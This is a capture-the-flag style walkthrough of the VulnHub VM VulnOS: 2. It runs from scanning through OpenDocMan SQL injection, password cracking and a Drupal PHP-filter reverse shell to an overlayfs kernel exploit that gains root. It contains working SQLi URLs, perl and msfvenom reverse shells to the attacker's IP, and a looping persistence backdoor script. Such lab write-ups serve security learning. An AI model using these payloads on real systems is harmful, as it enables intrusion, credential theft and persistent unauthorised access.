VulnOS: 2
15 Apr 2019 | WalkthroughsVulnHub URL: https://www.vulnhub.com/entry/vulnos-2,147/
Hostname: VulnOSv2
IP Address: 10.183.0.181
Information Gathering/Recon
The IP address is obtained via DHCP at boot. In my case, the IP is 10.183.0.181.
Service Enumeration/Scanning
root@kali:~/Walkthroughs/vulnosv2# nmap -Pn -sT -sV -A -oA vulnosv2 -p 1-65535 10.183.0.181
Starting Nmap 7.70 ( https://nmap.org ) at 2019-04-20 18:09 EDT
Nmap scan report for VulnOSv2.homenet.dom (10.183.0.181)
Host is up (0.0028s latency).
Not shown: 65532 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh
OpenSSH 6.6.1p1
Ubuntu 2ubuntu2.6 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 1024 f5:4d:c8:e7:8b:c1:b2:11:95:24:fd:0e:4c:3c:3b:3b (DSA)
| 2048 ff:19:33:7a:c1:ee:b5:d0:dc:66:51:da:f0:6e:fc:48 (RSA)
| 256 ae:d7:6f:cc:ed:4a:82:8b:e8:66:a5:11:7a:11:5f:86 (ECDSA)
|_ 256 71:bc:6b:7b:56:02:a4:8e:ce:1c:8e:a6:1e:3a:37:94 (ED25519)
80/tcp open http Apache httpd 2.4.7 ((Ubuntu))
|_http-server-header: Apache/2.4.7 (Ubuntu)
|_http-title: VulnOSv2
6667/tcp open irc ngircd
MAC Address: 08:00:27:57:4F:AA (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Network Distance: 1 hop
Service Info: Host: irc.example.net; OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE
HOP RTT ADDRESS
1 2.80 ms VulnOSv2.homenet.dom (10.183.0.181)
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 28.07 seconds
Gaining Access
Looking at the service information returned from nmap, we have:
-
OpenSSH 6.6.1p1
-
Apache/2.4.7 - possible code execution when combined with PHP 7.0.2
-
ngirc
Not a lot here, so we will scan the web service with nikto to see if anything else turns up.
root@kali:~/Walkthroughs/vulnosv2# nikto -h http://10.183.0.181
- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP: 10.183.0.181
+ Target Hostname: 10.183.0.181
+ Target Port: 80
+ Start Time: 2019-04-20 20:39:16 (GMT-4)
---------------------------------------------------------------------------
+ Server: Apache/2.4.7 (Ubuntu)
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ Server may leak inodes via ETags, header found with file /, inode: 3c9, size: 531f36393d540, mtime: gzip
+ Apache/2.4.7 appears to be outdated (current is at least Apache/2.4.37). Apache 2.2.34 is the EOL for the 2.x branch.
+ Allowed HTTP Methods: GET, HEAD, POST, OPTIONS
+ OSVDB-3233: /icons/README: Apache default file found.
+ 7915 requests: 0 error(s) and 7 item(s) reported on remote host
+ End Time: 2019-04-20 20:40:34 (GMT-4) (78 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested
Again, not much. I'll go ahead and browse to the site and see what we're dealing with.
Looks like the main content for the site is at http://10.183.0.181/jabc. The site doesn't have a lot of content, but the links look like we have a Drupal backend. Adding '?q=user/login' to the default page confirms this by bringing up a login form.
Let's scan the site with dirb to see what kinds of directories are available.
root@kali:~/Walkthroughs/vulnosv2# dirb http://10.183.0.181/jabc /usr/share/dirb/wordlists/big.txt -o dirb-http-10.183.0.181-jabc.txt
-----------------
DIRB v2.22
By The Dark Raver
-----------------
OUTPUT_FILE: dirb-http-10.183.0.181-jabc.txt
START_TIME: Sat Apr 20 20:53:25 2019
URL_BASE: http://10.183.0.181/jabc/
WORDLIST_FILES: /usr/share/dirb/wordlists/big.txt
-----------------
GENERATED WORDS: 20458
---- Scanning URL: http://10.183.0.181/jabc/ ----
==> DIRECTORY: http://10.183.0.181/jabc/includes/
==> DIRECTORY: http://10.183.0.181/jabc/misc/
==> DIRECTORY: http://10.183.0.181/jabc/modules/
==> DIRECTORY: http://10.183.0.181/jabc/profiles/
+ http://10.183.0.181/jabc/robots.txt (CODE:200|SIZE:1561)
==> DIRECTORY: http://10.183.0.181/jabc/scripts/
==> DIRECTORY: http://10.183.0.181/jabc/sites/
==> DIRECTORY: http://10.183.0.181/jabc/templates/
==> DIRECTORY: http://10.183.0.181/jabc/themes/
---- Entering directory: http://10.183.0.181/jabc/includes/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.
(Use mode '-w' if you want to scan it anyway)
---- Entering directory: http://10.183.0.181/jabc/misc/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.
(Use mode '-w' if you want to scan it anyway)
---- Entering directory: http://10.183.0.181/jabc/modules/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.
(Use mode '-w' if you want to scan it anyway)
---- Entering directory: http://10.183.0.181/jabc/profiles/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.
(Use mode '-w' if you want to scan it anyway)
---- Entering directory: http://10.183.0.181/jabc/scripts/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.
(Use mode '-w' if you want to scan it anyway)
---- Entering directory: http://10.183.0.181/jabc/sites/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.
(Use mode '-w' if you want to scan it anyway)
---- Entering directory: http://10.183.0.181/jabc/templates/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.
(Use mode '-w' if you want to scan it anyway)
---- Entering directory: http://10.183.0.181/jabc/themes/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.
(Use mode '-w' if you want to scan it anyway)
-----------------
END_TIME: Sat Apr 20 20:54:28 2019
DOWNLOADED: 20458 - FOUND: 1
Looks like we have lots of listable directories with lots of content. I'll use wget to pull down the files so I can search and browse through them offline.
wget -m http://10.183.0.181/jabc
wget -m http://10.183.0.181/jabc/includes/
wget -m http://10.183.0.181/jabc/misc/
wget -m http://10.183.0.181/jabc/modules/
wget -m http://10.183.0.181/jabc/profiles/
wget -m http://10.183.0.181/jabc/scripts/
wget -m http://10.183.0.181/jabc/sites/
wget -m http://10.183.0.181/jabc/templates/
wget -m http://10.183.0.181/jabc/themes/
for num in $(seq 1 100); do wget -m "http://10.183.0.181/jabc/?q=node/${num}"; done
Digging into the site content, we can see the site is using Drupal CMS version 7. We get more specific version information from http://10.183.0.181/jabc/includes/bootstrap.inc.
<?php
/**
* @file
* Functions that need to be loaded on every Drupal request.
*/
/**
* The current system version.
*/
define('VERSION', '7.26');
[...]
Searching the exploit database, this version of Drupal seems to have several known vulnerabilities.
Drupal 7.0 < 7.31 - 'Drupalgeddon' SQL Injection (Add Admin User) | exploits/php/webapps/34992.py
Drupal 7.0 < 7.31 - 'Drupalgeddon' SQL Injection (Admin Session) | exploits/php/webapps/44355.php
Drupal 7.0 < 7.31 - 'Drupalgeddon' SQL Injection (PoC) (Reset Password) (1) | exploits/php/webapps/34984.py
Drupal 7.0 < 7.31 - 'Drupalgeddon' SQL Injection (PoC) (Reset Password) (2) | exploits/php/webapps/34993.php
Drupal 7.0 < 7.31 - 'Drupalgeddon' SQL Injection (Remote Code Execution) | exploits/php/webapps/35150.php
Drupal 7.x Module Services - Remote Code Execution | exploits/php/webapps/41564.php
Drupal < 7.34 - Denial of Service | exploits/php/dos/35415.txt
Drupal < 7.58 - 'Drupalgeddon3' (Authenticated) Remote Code (Metasploit) | exploits/php/webapps/44557.rb
Drupal < 7.58 - 'Drupalgeddon3' (Authenticated) Remote Code Execution (PoC) | exploits/php/webapps/44542.txt
Drupal < 7.58 / < 8.3.9 / < 8.4.6 / < 8.5.1 - 'Drupalgeddon2' Remote Code Execution | exploits/php/webapps/44449.rb
Unfortunately, trying some of these exploits doesn't result in anything useful.
In addition to dirb, we'll run wfuzz with the urls-Drupal-7.20.txt list from SecLists.
root@kali:~/Walkthroughs/vulnosv2# wfuzz -c -z file,/usr/share/seclists/Discovery/Web-Content/URLs/urls-Drupal-7.20.txt -t 30 --sc 200 http://10.183.0.181/jabcFUZZ > wfuzz-drupal.txt
This produces lots of content, but probably nothing we don't already have by mirroring the site with wget (since the directories were listable).
One of the modules that is available is the "PHP filter" module. This module allows you to enter PHP code directly into a Drupal page, so that will be nice to have if we can get into the administrative section of the site.
root@kali:~/Walkthroughs/vulnosv2/10.183.0.181/jabc/modules/php# cat php.info
name = PHP filter
description = Allows embedded PHP code/snippets to be evaluated.
package = Core
version = VERSION
core = 7.x
files[] = php.test
; Information added by Drupal.org packaging script on 2014-01-15
version = "7.26"
project = "drupal"
datestamp = "1389815930"
Returning to browsing through the site, we notice the Documentation page (http://10.183.0.181/jabc/?q=node/7) appears to be blank, so we check the source code and find this...
[...]
<div class="field field-name-body field-type-text-with-summary field-label-hidden"><div class="field-items"><div class="field-item even" property="content:encoded"><p><span style="color:#000000">Dear customer,</span></p>
<p><span style="color:#000000">For security reasons, this section is hidden.</span></p>
<p><span style="color:#000000">For a detailed view and documentation of our products, please visit our documentation platform at /jabcd0cs/ on the server. Just login with guest/guest</span></p>
<p><span style="color:#000000">Thank you.</span></p>
[...]
Visiting http://10.183.0.181/jabcd0cs/ takes us to a login page for OpenDocMan v1.2.7.
Searching the exploit database for this version of OpenDocMan produces a single entry.
OpenDocMan 1.2.7 - Multiple Vulnerabilities | exploits/php/webapps/32075.txt
The write up identifies two vulnerabilities. One is for an unauthenticated SQL injection and another is for an authenticated privilege escalation attack. We have some credentials (guest/guest), but let's try the SQL injection vulnerability first.
We are able to confirm the SQL injection vulnerability using the proof-of-concept (PoC) code in 32075.txt. Using the following URL, we are able to populate the drop down list with the database version.
Using the following loop, we are able to enumerate all the databases, table names and columns. Since our SQL injection page only allows us to return a single value, we have to make lots of requests and use 'concat_ws' to merge columns (with a separator).
root@kali:~/Walkthroughs/vulnosv2/sqli# for num in $(seq 0 2000); do wget -O ${num}.html "http://10.183.0.181/jabcd0cs/ajax_udf.php?q=1&add_value=odm_user%20UNION%20SELECT%201,(select concat_ws(0x2E, 0x23, table_schema, table_name, column_name, 0x23) as cat from information_schema.columns limit 1 offset ${num}),3,4,5,6,7,8,9"; done
I used the '#' (0x23) character to wrap the returned value, and used a period ('.') as a field separator (0x2E). This way we can easily grep out the values we want...
root@kali:~/Walkthroughs/vulnosv2/sqli# grep -Po '#\..*?\.#' * | cut -d ':' -f 2 | cut -d '.' -f 2-4 | sort -u
The primary database and table that interest me is 'drupal7.users'. It has the following columns I'd like to pull information from.
-
uid
-
name
-
pass
-
login
I'll use the following loop to get the user information...
root@kali:~/Walkthroughs/vulnosv2/sqli/drupal7.users# for num in $(seq 0 10); do wget -O ${num}.html "http://10.183.0.181/jabcd0cs/ajax_udf.php?q=1&add_value=odm_user%20UNION%20SELECT%201,(select concat_ws(0x2E, 0x23, uid, name, pass, login, 0x23) as cat from drupal7.users limit 1 offset ${num}),3,4,5,6,7,8,9"; done
And grep my results...
root@kali:~/Walkthroughs/vulnosv2/sqli/drupal7.users# grep -Po '#\..*?\.#' * | cut -d ':' -f 2 | cut -d '.' -f 2-6 | sort -u
0...0.#
1.webmin.$S$DPc41p2JwLXR6vgPCi.jC7WnRMkw3Zge3pVoJFnOn6gfMfsOr/Ug.1462351302
Looks like I have a password hash to crack. Let's create our password file for john.
root@kali:~/Walkthroughs/vulnosv2# cat drupal7-users
webmin:$S$DPc41p2JwLXR6vgPCi.jC7WnRMkw3Zge3pVoJFnOn6gfMfsOr/Ug
And we'll start john with just the --single option first.
root@kali:~/.sqlmap/output/10.183.0.181# john --single drupal7-users
Using default input encoding: UTF-8
Loaded 1 password hash (Drupal7, $S$ [SHA512 128/128 AVX 2x])
Cost 1 (iteration count) is 32768 for all loaded hashes
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
webmin1980 (webmin)
1g 0:00:00:05 DONE (2019-04-21 00:07) 0.1934g/s 143.5p/s 143.5c/s 143.5C/s webmin1978..webmin1985
Use the "--show" option to display all of the cracked passwords reliably
Session completed
Looks like we got our password! 😄
Time to go login to the Drupal admin interface at http://10.183.0.181/jabc/?q=user/login. Works! After logging in, we go straight to Modules in the top admin menu overlay.
Let's see if we can enable the PHP filter module so we can insert PHP code directly into pages.
We'll enable the PHP filter plugin and click Save Configuration at the bottom of the page.
Before creating our PHP page, let's generate our PHP reverse shell code using msfvenom.
root@kali:~/Walkthroughs/vulnosv2# msfvenom -p php/reverse_php LHOST=10.183.0.222 LPORT=5432 -f raw > rev.php
[-] No platform was selected, choosing Msf::Module::Platform::PHP from the payload
[-] No arch selected, selecting arch: php from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 3033 bytes
We'll also go ahead and set up two listeners in Metasploit. One for our PHP revers shell and one for a perl reverse shell. I like to do this because the PHP reverse shell doesn't stay active for very long.
msf5 exploit(multi/handler) > set payload php/reverse_php
payload => php/reverse_php
msf5 exploit(multi/handler) > set LHOST 10.183.0.222
LHOST => 10.183.0.222
msf5 exploit(multi/handler) > set LPORT 5432
LPORT => 5432
msf5 exploit(multi/handler) > run -j
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.
[*] Started reverse TCP handler on 10.183.0.222:5432
msf5 exploit(multi/handler) >
msf5 exploit(multi/handler) > use exploit/multi/handler
msf5 exploit(multi/handler) > set payload generic/shell_reverse_tcp
payload => generic/shell_reverse_tcp
msf5 exploit(multi/handler) > set LHOST 10.183.0.222
LHOST => 10.183.0.222
msf5 exploit(multi/handler) > set LPORT 5433
LPORT => 5433
msf5 exploit(multi/handler) > run -j
[*] Exploit running as background job 1.
[*] Exploit completed, but no session was created.
[*] Started reverse TCP handler on 10.183.0.222:5433
Now, let's go create our Drupal page with our PHP reverse shell code.
-
Click Content in the top admin menu overlay
-
Click Add Content
-
Choose Basic page
-
Give the page a Title (I'm using 'PHP Reverse Shell')
-
Just below the Body, change the Text format to 'PHP code'
-
Copy and paste the PHP reverse shell code created by msfvenom into the Body
-
Click Save
As soon as you click Save, your PHP code should execute and your session should be created in Metasploit.
msf5 exploit(multi/handler) > [*] Command shell session 1 opened (10.183.0.222:5432 -> 10.183.0.181:57254) at 2019-04-22 11:05:55 -0400
msf5 exploit(multi/handler) > sessions 1
[*] Starting interaction with 1...
pwd
/var/www/html/jabc
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
perl -e 'use Socket;$i="10.183.0.222";$p=5433;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/bash -i");};'
[*] Command shell session 2 opened (10.183.0.222:5433 -> 10.183.0.181:41013) at 2019-04-22 11:06:47 -0400
background
Background session 1? [y/N] y
msf5 exploit(multi/handler) > sessions 2
[*] Starting interaction with 2...
www-data@VulnOSv2:/var/www/html/jabc$
Maintaining Access
Since SSH is open on the victim, I checked to see if the www-data user has a default home directory and shell defined.
www-data@VulnOSv2:/var/www/html/jabc$ grep `whoami` /etc/passwd
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
The home directory exists and is writable.
www-data@VulnOSv2:/var/www/html/jabc$ ls -l /var
[...]
drwxrwxrwx 4 root root 4096 Apr 20 2016 www
However, the default shell is set to '/usr/sbin/nologin', so I won't be able to SSH to the box with this account.
I decided to create a simple shell script that will try to connect back to my attacking machine every 5 minutes.
root@kali:~/Walkthroughs/vulnosv2# cat thumbs
#!/bin/sh
while true; do
perl -e 'use Socket;$i="10.183.0.222";$p=5433;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/bash -i");};'
# sleep for 300 seconds (5 mins)
sleep 300
done
I uploaded the script to the victim's /var/www/html/jabc/themes/stark directory (using netcat) and ran it in the background. Now, if I get disconnected, I should be able to restart a listener and get back in within 5 minutes.
On victim...
www-data@VulnOSv2:/var/www/html/jabc/themes/stark$ nc -l -p 4321 > thumbs
On attacker...
root@kali:~/Walkthroughs/vulnosv2# nc -w 3 10.183.0.181 4321 < thumbs
Back on victim (after file transfer)...
www-data@VulnOSv2:/var/www/html/jabc/themes/stark$ chmod +x thumbs
www-data@VulnOSv2:/var/www/html/jabc/themes/stark$ ./thumbs &
[1] 7592
Privilege Escalation
We start by checking what operating system we are running using the 'uname' command.
www-data@VulnOSv2:/var/www/html/jabc$ uname -a
Linux VulnOSv2 3.13.0-24-generic #47-Ubuntu SMP Fri May 2 23:31:42 UTC 2014 i686 i686 i686 GNU/Linux
We also check 'os-release' and 'issue.net' in the /etc directory and get the following.
www-data@VulnOSv2:/etc$ cat os-release
NAME="Ubuntu"
VERSION="14.04.4 LTS, Trusty Tahr"
ID=ubuntu
ID_LIKE=debian
PRETTY_NAME="Ubuntu 14.04.4 LTS"
VERSION_ID="14.04"
HOME_URL="http://www.ubuntu.com/"
SUPPORT_URL="http://help.ubuntu.com/"
BUG_REPORT_URL="http://bugs.launchpad.net/ubuntu/"
www-data@VulnOSv2:/etc$ cat issue.net
Ubuntu 14.04.4 LTS
Checking the exploit database, we have a few contenders.
Linux Kernel 3.13.0 < 3.19 (Ubuntu 12.04/14.04/14.10/15.04) - 'overlayfs' Local Privilege Escalation | exploits/linux/local/37292.c
Linux Kernel 3.13.0 < 3.19 (Ubuntu 12.04/14.04/14.10/15.04) - 'overlayfs' Local Privilege Escalation (Access | exploits/linux/local/37293.txt
Ubuntu 14.04/15.10 - User Namespace Overlayfs Xattr SetGID Privilege Escalation | exploits/linux/local/41762.txt
Let's start with the 37292.c exploit. I've gotten this one to work before.
I'll transfer the C file to the victim using python's SimpleHTTPServer module.
root@kali:~/Walkthroughs/vulnosv2# cp /usr/share/exploitdb/exploits/linux/local/37292.c .
root@kali:~/Walkthroughs/vulnosv2# python -m SimpleHTTPServer 4321
Serving HTTP on 0.0.0.0 port 4321 ...
Then, on the victim...
www-data@VulnOSv2:/tmp$ cd /tmp
www-data@VulnOSv2:/tmp$ wget -O 37292.c 10.183.0.222:4321/37292.c
--2019-04-22 17:54:42-- http://10.183.0.222:4321/37292.c
Connecting to 10.183.0.222:4321... connected.
HTTP request sent, awaiting response... 200 OK
Length: 5119 (5.0K) [text/plain]
Saving to: '37292.c'
0K .... 100% 417M=0s
2019-04-22 17:54:42 (417 MB/s) - '37292.c' saved [5119/5119]
www-data@VulnOSv2:/tmp$ gcc -o pwn 37292.c
www-data@VulnOSv2:/tmp$ ./pwn
spawning threads
mount #1
mount #2
child threads done
/etc/ld.so.preload created
creating shared library
sh: 0: can't access tty; job control turned off
# id
uid=0(root) gid=0(root) groups=0(root),33(www-data)
#
Well... that was about as easy as it gets. 😄
Let's get that flag.
# cd /root
# cat flag.txt
Hello and welcome.
You successfully compromised the company "JABC" and the server completely !!
Congratulations !!!
Hope you enjoyed it.
What do you think of A.I.?
Pivoting
N/A
Clean Up
*** STOP /var/www/html/jabc/themes/stark/thumbs ***
*** REMOVE /var/www/html/jabc/themes/stark/thumbs ***
*** REMOVE 37292.c and pwn from /tmp ***
Additional Info
OpenDocMan
We confirmed the privilege escalation vulnerability in the OpenDocMan web interface. We were able to login as guest, then escalate to admin using the information from the exploit database.
jabc dbconfig.php
I was able to pull database credentials from the dbconfig.php file under /var/www/html/jabc/sites/default.
www-data@VulnOSv2:/var/www/html/jabc/sites/default$ cat dbconfig.php
<?php
#
# database access settings in php format
# automatically generated from /etc/dbconfig-common/drupal7.conf
# by /usr/sbin/dbconfig-generate-include
#
# by default this file is managed via ucf, so you shouldn't have to
# worry about manual changes being silently discarded. *however*,
# you'll probably also want to edit the configuration file mentioned
# above too.
$databases['default']['default'] = array(
'driver' => 'mysql',
'database' => 'drupal7',
'username' => 'drupal7',
'password' => 'toor',
'host' => 'localhost',
'port' => '',
'prefix' => ''
);
?>
jabcd0cs config.php
I was able to pull database credentials from the config.php file under /var/www/html/jabcd0cs.
www-data@VulnOSv2:/var/www/html/jabcd0cs$ cat config.php
<?php
[...]
// Eliminate multiple inclusion of config.php
if( !defined('config') )
{
define('config', 'true', false);
// config.php - useful variables/functions
// ** MySQL settings - You can get this info from your web host ** //
/** The name of the database for [OpenDocMan */
define('DB_NAME', 'jabcd0cs');
/** MySQL database username */
define('DB_USER', 'root');
/** MySQL database password */
define('DB_PASS', 'toor');
/** MySQL hostname */
/* The MySQL server. It can also include a port number. e.g. "hostname:port" or a path to a
* local socket e.g. ":/path/to/socket" for the localhost. */
define('DB_HOST', 'localhost');
[...]